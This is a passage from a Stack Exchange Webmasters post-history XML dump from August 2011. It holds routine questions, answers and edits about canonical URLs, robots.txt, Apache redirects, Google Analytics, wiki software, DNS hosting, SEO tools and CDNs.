http://blog.stackoverflow.com/2011/08/facebook-stackoverflow/&#xD;&#xA;  [2]: http://facebook.stackoverflow.com/questions/3720459/iad-error-ad-inventory-unavailable&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3720459/iad-error-ad-inventory-unavailable&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?answer=139394&#xD;&#xA;  [5]: http://www.google.com/search?q=Uploading%20a%20file%20to%20Facebook%20using%20Koala%20on%20Ruby%20on%20Rails&#xD;&#xA;  [6]: http://i.stack.imgur.com/Alm3H.png" />
  <row Id="45959" PostHistoryTypeId="2" PostId="18820" RevisionGUID="505deda7-7908-4426-a6e6-964afdb0886a" CreationDate="2011-08-26T18:46:40.087" UserId="1253" Text="According [the same page you linked to][1] `rel=&quot;canonical&quot;` is only a suggestion and not a directive:&#xD;&#xA;&#xD;&#xA;&gt;**Is rel=&quot;canonical&quot; a suggestion or a directive?**&#xD;&#xA;&#xD;&#xA;&gt;This new option lets site owners suggest the version of a page that Google should treat as canonical. Google will take this into account, in conjunction with other signals, when determining which URL sets contain identical content, and calculating the most relevant of these pages to display in search results.&#xD;&#xA;&#xD;&#xA;It's possible that Google simply has chosen to ignore the canonical URL or has yet to act on it.&#xD;&#xA;&#xD;&#xA;But the reason why it outranks the StackOverflow question is simple: the Facebook subdomain has &quot;facebook&quot; in the URL which carries quite a bit of weight in Google's ranking algorithm.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=139394" />
  <row Id="45960" PostHistoryTypeId="14" PostId="18817" RevisionGUID="d65965ef-0eed-4d1e-950f-2361e6992c44" CreationDate="2011-08-26T18:48:43.940" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="45961" PostHistoryTypeId="17" PostId="18817" RevisionGUID="9ddb34d5-2aad-4dbe-914d-4839426dd6f2" CreationDate="2011-08-26T18:48:43.953" UserId="1253" Comment="to http://stackoverflow.com/questions/7209235/floating-navigation-in-ie-7-and-below" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45962" PostHistoryTypeId="10" PostId="18817" RevisionGUID="febcc8a7-7bdd-4690-beea-c297422382aa" CreationDate="2011-08-26T18:48:43.407" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45963" PostHistoryTypeId="2" PostId="18821" RevisionGUID="8c6a7e6e-c455-4530-aa84-fba183c31a58" CreationDate="2011-08-26T18:50:56.143" UserId="9868" Text="You can have multiple robots.txt files if you're managing too many subdomains as it helps you manage bots access restriction on specific folders. &#xD;&#xA;&#xD;&#xA;If you're managing too many subdomains then it is always better to have robots.txt for each subdomain. You can also write crawling specific instructions in robots.txt of your root level directory. If you don't want to do that then you can just keep the robots.txt in the directory- &quot;a.com/myfolder/&quot; folder. Because you're redirecting permanently to this directory. You're doing permanent redirection to this directory so &quot;robots.txt&quot; should be here. " />
  <row Id="45964" PostHistoryTypeId="5" PostId="18820" RevisionGUID="8cc6cd33-e2cc-4433-9cd9-babb184c5baa" CreationDate="2011-08-26T18:51:48.913" UserId="1253" Comment="added 9 characters in body" Text="According [the same page you linked to][1] `rel=&quot;canonical&quot;` is only a suggestion and not a directive:&#xD;&#xA;&#xD;&#xA;&gt;**Is rel=&quot;canonical&quot; a suggestion or a directive?**&#xD;&#xA;&#xD;&#xA;&gt;This new option lets site owners suggest the version of a page that Google should treat as canonical. Google will take this into account, in conjunction with other signals, when determining which URL sets contain identical content, and calculating the most relevant of these pages to display in search results.&#xD;&#xA;&#xD;&#xA;It's possible that Google simply has chosen to ignore the canonical URL or has yet to act on it.&#xD;&#xA;&#xD;&#xA;But the reason why it outranks the StackOverflow question is probably simple: the Facebook subdomain has &quot;facebook&quot; in the URL which carries quite a bit of weight in Google's ranking algorithm.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=139394" />
  <row Id="45965" PostHistoryTypeId="2" PostId="18822" RevisionGUID="a16b3ab2-0000-4c6e-b8a4-fa64e085d538" CreationDate="2011-08-26T18:58:09.267" UserId="9868" Text="You can use wordpress DB backup plugin and move the data weekly or daily to the rackspace backup host or Amazon S3 or Jungledisk. Ask your client to choose this route for the managed backups. You can setup this for your client if you want. Wordpress plugins have weekly and daily backup system that syncs with the hosts like amazon S3. There are many plugins that support popular backup sites like dropbox, amazon s3 and rackspace or jungledisk. " />
  <row Id="45966" PostHistoryTypeId="2" PostId="18823" RevisionGUID="e437abae-f5c3-40d9-b2ad-9931dcd54356" CreationDate="2011-08-26T19:08:49.483" UserId="9868" Text="There is one wordpress plugin called &quot;[Search ads][1]&quot; that lets you do this. You can show adsense ads only to search engine users, which usually click on ads. As for regular readers from sources like bookmarks and manual address typing, ads will not show. Another plugin is &quot;[ad injection][2]&quot;. &#xD;&#xA;&#xD;&#xA;If you wish to do adsense tracking on any website then you have to connect google adsense with google analytics profile. You have to use the tracking code of that profile on site which has adsense enabled. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dailyblogtips.com/search-ads-wordpress-plugin/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/ad-injection/" />
  <row Id="45967" PostHistoryTypeId="2" PostId="18824" RevisionGUID="c4b97d9a-c1c9-4caa-8ba0-e637530ba248" CreationDate="2011-08-26T19:17:53.853" UserId="5667" Text="How could I have a drop-down list next to my PayPal donation button, where you can select an amount or an &quot;other&quot; option to enter your own amount?" />
  <row Id="45968" PostHistoryTypeId="1" PostId="18824" RevisionGUID="c4b97d9a-c1c9-4caa-8ba0-e637530ba248" CreationDate="2011-08-26T19:17:53.853" UserId="5667" Text="PayPal donation drop-down list" />
  <row Id="45969" PostHistoryTypeId="3" PostId="18824" RevisionGUID="c4b97d9a-c1c9-4caa-8ba0-e637530ba248" CreationDate="2011-08-26T19:17:53.853" UserId="5667" Text="&lt;paypal&gt;" />
  <row Id="45970" PostHistoryTypeId="5" PostId="18820" RevisionGUID="fda4c803-f7dc-4081-acef-764e2469e49c" CreationDate="2011-08-26T19:24:25.327" UserId="1253" Comment="added 65 characters in body" Text="According [the same page you linked to][1] `rel=&quot;canonical&quot;` is only a suggestion and not a directive:&#xD;&#xA;&#xD;&#xA;&gt;**Is rel=&quot;canonical&quot; a suggestion or a directive?**&#xD;&#xA;&#xD;&#xA;&gt;This new option lets site owners suggest the version of a page that Google should treat as canonical. Google will take this into account, in conjunction with other signals, when determining which URL sets contain identical content, and calculating the most relevant of these pages to display in search results.&#xD;&#xA;&#xD;&#xA;It's possible that Google simply has chosen to ignore the canonical URL or has yet to act on it.&#xD;&#xA;&#xD;&#xA;But the reason why it outranks the StackOverflow question is probably simple: (assuming that Google is ignoring the `rel=&quot;canonical&quot;` directive) the Facebook subdomain has &quot;facebook&quot; in the URL which carries quite a bit of weight in Google's ranking algorithm.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=139394" />
  <row Id="45973" PostHistoryTypeId="25" PostId="18747" RevisionGUID="7db94dc3-e40c-4a2f-b2a3-f1cf30cde5bd" CreationDate="2011-08-26T21:35:20.003" Comment="http://twitter.com/#!/StackWebmasters/status/107204502922342400" />
  <row Id="45974" PostHistoryTypeId="2" PostId="18826" RevisionGUID="8d934b59-3408-4e02-9528-c3e2cea6594e" CreationDate="2011-08-26T21:41:20.810" UserId="5727" Text="I've taken an advert out on a site with instruction to point it to:&#xD;&#xA;&#xD;&#xA;http://www.example.com/?source=gmb&#xD;&#xA;&#xD;&#xA;In Analytics, how do I go about analysing it's data?  I can't find anywhere to see people who came via that querystri" />
  <row Id="45975" PostHistoryTypeId="1" PostId="18826" RevisionGUID="8d934b59-3408-4e02-9528-c3e2cea6594e" CreationDate="2011-08-26T21:41:20.810" UserId="5727" Text="Google Analytics include querystring" />
  <row Id="45976" PostHistoryTypeId="3" PostId="18826" RevisionGUID="8d934b59-3408-4e02-9528-c3e2cea6594e" CreationDate="2011-08-26T21:41:20.810" UserId="5727" Text="&lt;google-analytics&gt;&lt;advertising&gt;&lt;referrer&gt;&lt;query-string&gt;" />
  <row Id="45977" PostHistoryTypeId="2" PostId="18827" RevisionGUID="ffa9d837-d05c-4953-b44d-302dca2e63a3" CreationDate="2011-08-26T21:46:23.177" UserId="1064" Text="&quot;source&quot; is not a valid campaign tracking variable.&#xD;&#xA;&#xD;&#xA;Use [Google's URL Builder][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?answer=55578" />
  <row Id="45978" PostHistoryTypeId="2" PostId="18828" RevisionGUID="6431d343-1a7b-47df-8fca-854cd69e8729" CreationDate="2011-08-26T21:53:35.683" UserId="1131" Text="Try something like this:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_URI} !partners/general/(.*)?&#xD;&#xA;    RewriteRule partners/(.*) http://www.easyjob.net/partners/general/ [R=301]&#xD;&#xA;&#xD;&#xA;You may need to tweak the `RewriteCond` to meet the exact exclusion you're looking for." />
  <row Id="45979" PostHistoryTypeId="2" PostId="18829" RevisionGUID="acf5930e-cdaf-45e1-b28c-bdb3154eb9fd" CreationDate="2011-08-26T23:09:24.623" UserId="9879" Text="You can also use the iPhone simulator (iOS Simulator) that comes with the iPhone developer kit." />
  <row Id="45980" PostHistoryTypeId="25" PostId="18814" RevisionGUID="e2a3ea08-8a4d-4b1f-9dc2-53ff8c1d8345" CreationDate="2011-08-27T00:35:19.930" Comment="http://twitter.com/#!/StackWebmasters/status/107249801652998145" />
  <row Id="45981" PostHistoryTypeId="2" PostId="18830" RevisionGUID="243ef78a-84e9-4b7d-93dd-f18c9f21d199" CreationDate="2011-08-27T00:48:21.347" UserId="9880" Text="I'm a little overwhelmed by the myriad of wiki solutions available. Let me briefly describe what I will be doing and what I think I need. If there are more questions you can ask to help narrow the choices, please include those in the comments and I will update my question.&#xD;&#xA;&#xD;&#xA;I have database of ice cream flavors (not really, but let's just go with it). My fields include the name of the flavor followed by several statements that could be true or false for that flavor, such as &quot;Contains nuts&quot; or &quot;Contains cherries&quot;. So, an entry in the database might be &quot;Vanilla, No, No&quot; or maybe &quot;Banana Split, Yes, Yes&quot;.&#xD;&#xA;&#xD;&#xA;What I would like to do with the database is write a PHP script to automatically create a wiki article for each flavor and include the information I have on it. After the wiki is initialized, it needs to be editable by registered users only.&#xD;&#xA;&#xD;&#xA;In addition to whatever I need to accomplish the above, I also need LaTeX support (because it isn't actually about ice cream).&#xD;&#xA;&#xD;&#xA;I have my own domain, so it need not be externally hosted (in fact, I would prefer to host it myself, but this isn't crucial).&#xD;&#xA;&#xD;&#xA;My first instinct was to use MediaWiki, since most users should be familiar with it already, but I don't know if I can use PHP to interface with it in the way I described. I also feel that the LaTeX rendering is not particularly beautiful, but I don't know if any other systems do a better job." />
  <row Id="45982" PostHistoryTypeId="1" PostId="18830" RevisionGUID="243ef78a-84e9-4b7d-93dd-f18c9f21d199" CreationDate="2011-08-27T00:48:21.347" UserId="9880" Text="Best Wiki for a Mathematics Project" />
  <row Id="45983" PostHistoryTypeId="3" PostId="18830" RevisionGUID="243ef78a-84e9-4b7d-93dd-f18c9f21d199" CreationDate="2011-08-27T00:48:21.347" UserId="9880" Text="&lt;wiki&gt;" />
  <row Id="45984" PostHistoryTypeId="5" PostId="18830" RevisionGUID="62ffc074-7244-4263-86c3-05467c0b3314" CreationDate="2011-08-27T00:54:26.080" UserId="9880" Comment="added 27 characters in body" Text="I'm a little overwhelmed by the myriad of wiki solutions available. Let me briefly describe what I will be doing and what I think I need. If there are more questions you can ask to help narrow the choices, please include those in the comments and I will update my question.&#xD;&#xA;&#xD;&#xA;I have database of ice cream flavors (not really, but let's just go with it). My fields include the name of the flavor followed by several statements that could be true or false for that flavor, such as &quot;Contains nuts&quot; or &quot;Contains cherries&quot;. So, an entry in the database might be &quot;Vanilla, No, No&quot; or maybe &quot;Banana Split, Yes, Yes&quot;.&#xD;&#xA;&#xD;&#xA;What I would like to do with the database is write a PHP script to automatically create a wiki article for each flavor and include the information I have on it. After the wiki is initialized, it needs to be editable by registered users only.&#xD;&#xA;&#xD;&#xA;In addition to whatever I need to accomplish the above, I also need LaTeX support (because it isn't actually about ice cream).&#xD;&#xA;&#xD;&#xA;I have my own domain, so it need not be externally hosted (in fact, I would prefer to host it myself, but this isn't crucial).&#xD;&#xA;&#xD;&#xA;Edit history is a must.&#xD;&#xA;&#xD;&#xA;My first instinct was to use MediaWiki, since most users should be familiar with it already, but I don't know if I can use PHP to interface with it in the way I described. I also feel that the LaTeX rendering is not particularly beautiful, but I don't know if any other systems do a better job." />
  <row Id="45985" PostHistoryTypeId="4" PostId="18830" RevisionGUID="62ffc074-7244-4263-86c3-05467c0b3314" CreationDate="2011-08-27T00:54:26.080" UserId="9880" Comment="added 27 characters in body" Text="Wiki Incorporating LaTeX and PHP" />
  <row Id="45986" PostHistoryTypeId="6" PostId="18830" RevisionGUID="3d591ded-56ca-4dfb-901f-c674d096920c" CreationDate="2011-08-27T01:20:15.020" UserId="4502" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;wiki&gt;" />
  <row Id="45987" PostHistoryTypeId="5" PostId="17826" RevisionGUID="cec32667-2a03-42cb-9cff-3cf69ae8f0a0" CreationDate="2011-08-27T02:09:25.393" UserId="9404" Comment="edited body" Text="I have added the Google +1 Button to my website and discovered the new Social Activity section in Google WebMaster's Tools. Apparently, one of the interesting things you can learn about your audience is demographic data. But in GWT, the _Social Activity &gt; Audience_ section for my site (currently 48 +1's), says the following: &#xD;&#xA;&#xD;&#xA;&gt; Your site doesn’t have enough +1′s yet to show characteristics&#xD;&#xA;&#xD;&#xA;But I'm not sure how many +1's is enough. Google's official [help page for the Audience section][1] offers little insight:&#xD;&#xA;&#xD;&#xA;&gt; The Audience page displays information about people who have +1'd your pages, including the total number of unique users, their location, and their age and gender.&#xD;&#xA;&#xD;&#xA;&gt; All information is anonymized; Google doesn't share personal information about people who have +1’d your pages. To protect privacy, Google won't display age, gender, or location data unless a certain minimum number of people have +1'd your content.&#xD;&#xA;&#xD;&#xA;But what is that &quot;certain minimum number&quot;? I've tried Googling this but all I could find to date was [this page][2] which doesn't answer the question.&#xD;&#xA;&#xD;&#xA;So how many +1's does a site need before GWT will show me audience demographic characteristics?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=1198127&amp;hl=en&#xD;&#xA;  [2]: http://www.im3.co.uk/blog/how-many-1s-do-i-need-to-show-characteristics/" />
  <row Id="45988" PostHistoryTypeId="25" PostId="18813" RevisionGUID="7f9fd4f4-8e06-4006-ae5e-1540c0457c9c" CreationDate="2011-08-27T03:35:19.887" Comment="http://twitter.com/#!/StackWebmasters/status/107295100882796545" />
  <row Id="45989" PostHistoryTypeId="2" PostId="18831" RevisionGUID="d37482c2-bfb6-425b-a000-a1de04b79c7f" CreationDate="2011-08-27T04:58:38.217" UserId="9882" Text="I'm investigating about good SEO software for buying, have you any decision ?&#xD;&#xA;I would like to have a SEO software that give me useful decision about my site's contents based on keyword and also give me back broken links , title and description changing decision based on the latest Google and other major SE algoritms.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Ramin." />
  <row Id="45990" PostHistoryTypeId="1" PostId="18831" RevisionGUID="d37482c2-bfb6-425b-a000-a1de04b79c7f" CreationDate="2011-08-27T04:58:38.217" UserId="9882" Text="Which SEO application is the best?" />
  <row Id="45991" PostHistoryTypeId="3" PostId="18831" RevisionGUID="d37482c2-bfb6-425b-a000-a1de04b79c7f" CreationDate="2011-08-27T04:58:38.217" UserId="9882" Text="&lt;seo&gt;&lt;seo-audit&gt;" />
  <row Id="45992" PostHistoryTypeId="2" PostId="18832" RevisionGUID="8cde5f51-53aa-433d-8297-be0168416d17" CreationDate="2011-08-27T06:00:13.323" UserId="9883" Text="I'm in the look out for an outsourced DNS too.&#xD;&#xA;&#xD;&#xA;I don't want keep my own DNS server and also don't like to migrate hundreads of domains to a new provider every time we change hosting.&#xD;&#xA;&#xD;&#xA;So an outsourced DNS provider would come quite in hand.&#xD;&#xA;&#xD;&#xA;But I was surprised to find out that there aren't many options, at least my google searches didn't turn up all that many.&#xD;&#xA;&#xD;&#xA;And most of the options are too expensive or too old websites suchs as DynDNS. Cumbersome do use.&#xD;&#xA;&#xD;&#xA;I found out though that Rackspace is planning to launch this kind of service.&#xD;&#xA;&#xD;&#xA;Another thing I noticed is the usual pricing is simply crazy, some providers want to charge per domain (in other word per zone).&#xD;&#xA;&#xD;&#xA;Well, my reason to use their service in the first place is that I have way to many domains to migrate every time I switch hosting.&#xD;&#xA;&#xD;&#xA;But those are small domains! So I couldn't afford for example the Amazon rate of $1/domain/month.&#xD;&#xA;&#xD;&#xA;That's totally ridiculous and would cost me more than my hosting itself.&#xD;&#xA;&#xD;&#xA;I think they should drop this cost and charge per query only.&#xD;&#xA;&#xD;&#xA;$0.50 per million queries – first 1 Billion queries / month&#xD;&#xA;&#xD;&#xA;That's the Amazon rate per queries, sounds reasonable to me." />
  <row Id="45993" PostHistoryTypeId="5" PostId="18832" RevisionGUID="7ff0646e-9c90-47c7-ab14-d42652b49b44" CreationDate="2011-08-27T06:05:58.360" UserId="9883" Comment="added 447 characters in body" Text="I'm in the look out for an outsourced DNS too.&#xD;&#xA;&#xD;&#xA;I don't want keep my own DNS server and also don't like to migrate hundreads of domains to a new provider every time we change hosting.&#xD;&#xA;&#xD;&#xA;So an outsourced DNS provider would come quite in handy.&#xD;&#xA;&#xD;&#xA;But I was surprised to find out that there aren't many options, at least my google searches didn't turn up all that many.&#xD;&#xA;&#xD;&#xA;And most of the options are too expensive or old and cumbersome websites suchs as DynDNS.&#xD;&#xA;&#xD;&#xA;I found out though that Rackspace is planning to launch this kind of service soon, coupled with their cloud solution. I'm looking forward to that.&#xD;&#xA;&#xD;&#xA;I also found out that He.net is offering a beta for free, which I signed up for but didn't like their interface too much (falls into the cumbersome / old website category).&#xD;&#xA;&#xD;&#xA;Another thing I noticed is that the usual pricing is simply crazy, some providers want to charge per domain (in other words per zone).&#xD;&#xA;&#xD;&#xA;Well, my reason to use their service in the first place is that I have way too many small domains to migrate every time I switch hosting.&#xD;&#xA;&#xD;&#xA;If it was big domains I could afford to keep my own DNS servers and wouldn't need them.&#xD;&#xA;&#xD;&#xA;Or if it wasn't that many domains I wouldn't need a DNS outsourcer in the first place, as I could migrate them easily.&#xD;&#xA;&#xD;&#xA;Charging per domain is a deal breaker, plain and simple.&#xD;&#xA;&#xD;&#xA;It's so ridiculous indeed that in such a pricing model it would cost me more than my hosting itself.&#xD;&#xA;&#xD;&#xA;It would make more sense it they charged per queries only.&#xD;&#xA;&#xD;&#xA;$0.50 per million queries – first 1 Billion queries / month&#xD;&#xA;&#xD;&#xA;That's the Amazon rate per queries, sounds reasonable to me." />
  <row Id="45994" PostHistoryTypeId="25" PostId="18776" RevisionGUID="115f0613-b1c2-41e3-8927-be0ab4f6e189" CreationDate="2011-08-27T06:35:19.697" Comment="http://twitter.com/#!/StackWebmasters/status/107340397109444608" />
  <row Id="45995" PostHistoryTypeId="2" PostId="18833" RevisionGUID="e6715cc1-fc72-4e68-84e8-ba8ba8272d8f" CreationDate="2011-08-27T06:48:10.603" UserId="8286" Text="If you use a JavaScript-based LaTeX renderer then you can separate the concerns. There are a number of them out there; I've know one site which uses [jsMath](http://www.math.union.edu/~dpvc/jsMath/authors/basics.html), and some of the StackExchange sites use [MathJAX](http://www.mathjax.org/). You should be able to integrate these into whichever wiki you prefer in less time than it takes to write your database transformation script." />
  <row Id="45996" PostHistoryTypeId="2" PostId="18834" RevisionGUID="2c6c33c1-749f-4f9b-b2bc-9a0cb115653a" CreationDate="2011-08-27T06:49:53.480" UserId="9882" Text="I tried to redirect a broken link onto my site by redirect :&#xD;&#xA;RewriteCond %{HTTP_HOST} ^.*$&#xD;&#xA;RewriteRule ^domian_registration\.html$ &quot;http\:\/\/mysite\.com\/domain_registration\.html&quot; [R=301,L]&#xD;&#xA;&#xD;&#xA;But it respond error (404) not found and it redirect to following url :&#xD;&#xA;mysite/home/[Cpanel user]/public_html/domain_registration.html&#xD;&#xA;&#xD;&#xA;Whats your idea? whats the problem?!&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Ramin." />
  <row Id="45997" PostHistoryTypeId="1" PostId="18834" RevisionGUID="2c6c33c1-749f-4f9b-b2bc-9a0cb115653a" CreationDate="2011-08-27T06:49:53.480" UserId="9882" Text="Redirect wont working whats your idea?" />
  <row Id="45998" PostHistoryTypeId="3" PostId="18834" RevisionGUID="2c6c33c1-749f-4f9b-b2bc-9a0cb115653a" CreationDate="2011-08-27T06:49:53.480" UserId="9882" Text="&lt;seo&gt;&lt;htaccess&gt;&lt;redirects&gt;" />
  <row Id="45999" PostHistoryTypeId="5" PostId="18834" RevisionGUID="b8e83e0b-2e4b-400e-af65-316df18d106e" CreationDate="2011-08-27T07:42:07.967" UserId="8354" Comment="improved formatting" Text="I tried to redirect a broken link onto my site by redirect :&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^.*$&#xD;&#xA;    RewriteRule ^domian_registration\.html$ &quot;http\:\/\/mysite\.com\/domain_registration\.html&quot; [R=301,L]&#xD;&#xA;&#xD;&#xA;But it responds with error (404 Not Found) and redirects to following URL:&#xD;&#xA;&#xD;&#xA;    mysite/home/[Cpanel user]/public_html/domain_registration.html&#xD;&#xA;&#xD;&#xA;What's the problem?" />
  <row Id="46000" PostHistoryTypeId="4" PostId="18834" RevisionGUID="b8e83e0b-2e4b-400e-af65-316df18d106e" CreationDate="2011-08-27T07:42:07.967" UserId="8354" Comment="improved formatting" Text="Redirect does not work" />
  <row Id="46001" PostHistoryTypeId="2" PostId="18835" RevisionGUID="9c88e32d-6680-4ec3-8fda-cd80189d66e4" CreationDate="2011-08-27T07:51:49.930" UserId="8354" Text="**1\.** Why do you need `RewriteCond` here that does absolutely nothing?&#xD;&#xA;&#xD;&#xA;**2\.** Target URL should be just normal link -- no need to escape all non-alphabet characters like you do `\:\/\/`.&#xD;&#xA;&#xD;&#xA;**3\.** That directive requires **mod_rewrite** module to be enabled on your server.&#xD;&#xA;&#xD;&#xA;That's how your rule should look like:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;&#xD;&#xA;    RewriteRule ^domian_registration\.html$ http://mysite.com/domain_registration.html [R=301,L]&#xD;&#xA;&#xD;&#xA;OR as simple as (although including full domain name in URL is recommended):&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;&#xD;&#xA;    RewriteRule ^domian_registration\.html$ domain_registration.html [R=301,L]&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;If you do not have mod_rewrite enabled on your site, you can use this directive instead:&#xD;&#xA;&#xD;&#xA;    RedirectMatch 301 ^/domian_registration\.html$ http://mysite.com/domain_registration.html" />
  <row Id="46002" PostHistoryTypeId="25" PostId="18795" RevisionGUID="8de05537-380e-4c7a-8d10-a5691a37a1a1" CreationDate="2011-08-27T09:35:19.580" Comment="http://twitter.com/#!/StackWebmasters/status/107385695806566400" />
  <row Id="46003" PostHistoryTypeId="5" PostId="18835" RevisionGUID="8351eced-bb96-44fa-a505-6dafd94d844d" CreationDate="2011-08-27T10:13:32.833" UserId="8354" Comment="added 711 characters in body" Text="**1\.** Why do you need `RewriteCond` here that does absolutely nothing?&#xD;&#xA;&#xD;&#xA;**2\.** Target URL should be just normal link -- no need to escape all non-alphabet characters like you do `\:\/\/`.&#xD;&#xA;&#xD;&#xA;**3\.** That directive requires **mod_rewrite** module to be enabled on your server.&#xD;&#xA;&#xD;&#xA;That's how your rule should look like:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;&#xD;&#xA;    RewriteRule ^domian_registration\.html$ http://mysite.com/domain_registration.html [R=301,L]&#xD;&#xA;&#xD;&#xA;OR as simple as (although including full domain name in URL is recommended):&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;&#xD;&#xA;    RewriteRule ^domian_registration\.html$ domain_registration.html [R=301,L]&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;If you do not have mod_rewrite enabled on your site, you can use this directive instead:&#xD;&#xA;&#xD;&#xA;    RedirectMatch 301 ^/domian_registration\.html$ http://mysite.com/domain_registration.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**UPDATE:** This is an answer for your additional question:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^id=(\d+)&#xD;&#xA;    RewriteRule ^maghalat\.php/isfahan_articles(\d+)\.html$ /articles/isfahan_articles$1.html? [R=301,L]&#xD;&#xA;&#xD;&#xA;This rule will redirect `/maghalat.php/isfahan_articles123.html?id=123` to `/articles/isfahan_articles123.html`.&#xD;&#xA;&#xD;&#xA;Considering that source and target URLs are very similar .. and the fact that id in html file name is the same as `id=` parameter in query string, we can ignore the query string thus making the rule a bit simpler (no real need for `RewriteCond` line):&#xD;&#xA;&#xD;&#xA;    RewriteRule ^maghalat\.php/isfahan_articles(\d+)\.html$ /articles/isfahan_articles$1.html? [R=301,L]&#xD;&#xA;" />
  <row Id="46004" PostHistoryTypeId="2" PostId="18836" RevisionGUID="9f5855a3-e820-46b6-896b-178dc5b8ba0d" CreationDate="2011-08-27T10:47:22.990" UserId="4461" Text="Desktop software tends to go out of date pretty quick, so i'd recommend web-based applications like [Raven Tools][1] and [SEOMoz Tools][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://raventools.com/seo-tools/&#xD;&#xA;  [2]: http://www.seomoz.org/tools" />
  <row Id="46005" PostHistoryTypeId="2" PostId="18837" RevisionGUID="cff80a1f-6bcf-4eab-b033-67cffc3172a9" CreationDate="2011-08-27T10:50:01.413" UserId="9868" Text=" 1) If your site has lot of text content and more media content then it&#xD;&#xA;    is beneficial to host media content off your server. Few questions&#xD;&#xA;    you should answer before switching to CDN - Is my content loading &#xD;&#xA;    going to benefit from CDN ? If your site is simply wordpress based&#xD;&#xA;    and updates less per day or week but is getting more traffic&#xD;&#xA;    everyday then caching solutions like W3 Total Cache or WP-Super&#xD;&#xA;    cache plugin helps for now. You can just host css and image files on&#xD;&#xA;    CDN if it reaches 10k/day visits. But if you host lots of media&#xD;&#xA;    content like videos, scripts, file manipulation scripts etc. then&#xD;&#xA;    consider switching to CDN. &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;2)  You should consider hosting media files - images, videos,&#xD;&#xA;    javascript, flash. There are no fixed guidelines as every site and&#xD;&#xA;    it's audience are different. You may benefit hosting javascript or&#xD;&#xA;    other script files and images on CDN. In my personal opinion it is&#xD;&#xA;    better to host text content on your own server and media content on&#xD;&#xA;    external services like Amazon S3 or CDN services. &#xD;&#xA;    &#xD;&#xA;3)  Google and Bing consider &quot;loading time&quot; as one minor ranking factor. This&#xD;&#xA;    is the reason google launched page speed service recently. It'll not&#xD;&#xA;    boost your ranking but if your site loads slow due to media content&#xD;&#xA;    then it'll benefit from CDN and search engines will also push more&#xD;&#xA;    weight to faster site. That's it. There is nothing more benefit or&#xD;&#xA;    bias for CDN or page speed from search engines.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46006" PostHistoryTypeId="5" PostId="18831" RevisionGUID="b1c56d4f-3a15-4e79-bd2f-d3ad16ddaeff" CreationDate="2011-08-27T10:53:07.603" UserId="4461" Comment="Replaced poor question heading, formatting, spelling, grammar" Text="I'm investigating SEO software to buy, do you have any recommendations?&#xD;&#xA;&#xD;&#xA;I would like to have SEO software that gives me useful information about my site's content based on keywords and also gives me a list of broken links, title and description recommendations based on the latest Google and other major search engine algorithms." />
  <row Id="46007" PostHistoryTypeId="4" PostId="18831" RevisionGUID="b1c56d4f-3a15-4e79-bd2f-d3ad16ddaeff" CreationDate="2011-08-27T10:53:07.603" UserId="4461" Comment="Replaced poor question heading, formatting, spelling, grammar" Text="What SEO software do you recommend?" />
  <row Id="46008" PostHistoryTypeId="24" PostId="18831" RevisionGUID="b1c56d4f-3a15-4e79-bd2f-d3ad16ddaeff" CreationDate="2011-08-27T10:53:07.603" Comment="Proposed by 4461 approved by 8354 edit id of 510" />
  <row Id="46009" PostHistoryTypeId="25" PostId="18785" RevisionGUID="fcf8d100-e07b-4658-baf6-8010bb94c92c" CreationDate="2011-08-27T12:35:20.020" Comment="http://twitter.com/#!/StackWebmasters/status/107430996806336512" />
  <row Id="46010" PostHistoryTypeId="17" PostId="18838" RevisionGUID="3cd95f27-b429-4dbf-abef-828aab85fbc9" CreationDate="2011-08-27T14:27:58.103" UserId="-1" Comment="from http://stackoverflow.com/questions/7213666/facelets-seo-advice" Text="" />
  <row Id="46011" PostHistoryTypeId="17" PostId="18839" RevisionGUID="93517225-20f3-4ca1-98ff-4ed03b4cb794" CreationDate="2011-08-27T14:27:58.103" UserId="-1" Comment="from http://stackoverflow.com/questions/7213666/facelets-seo-advice" Text="" />
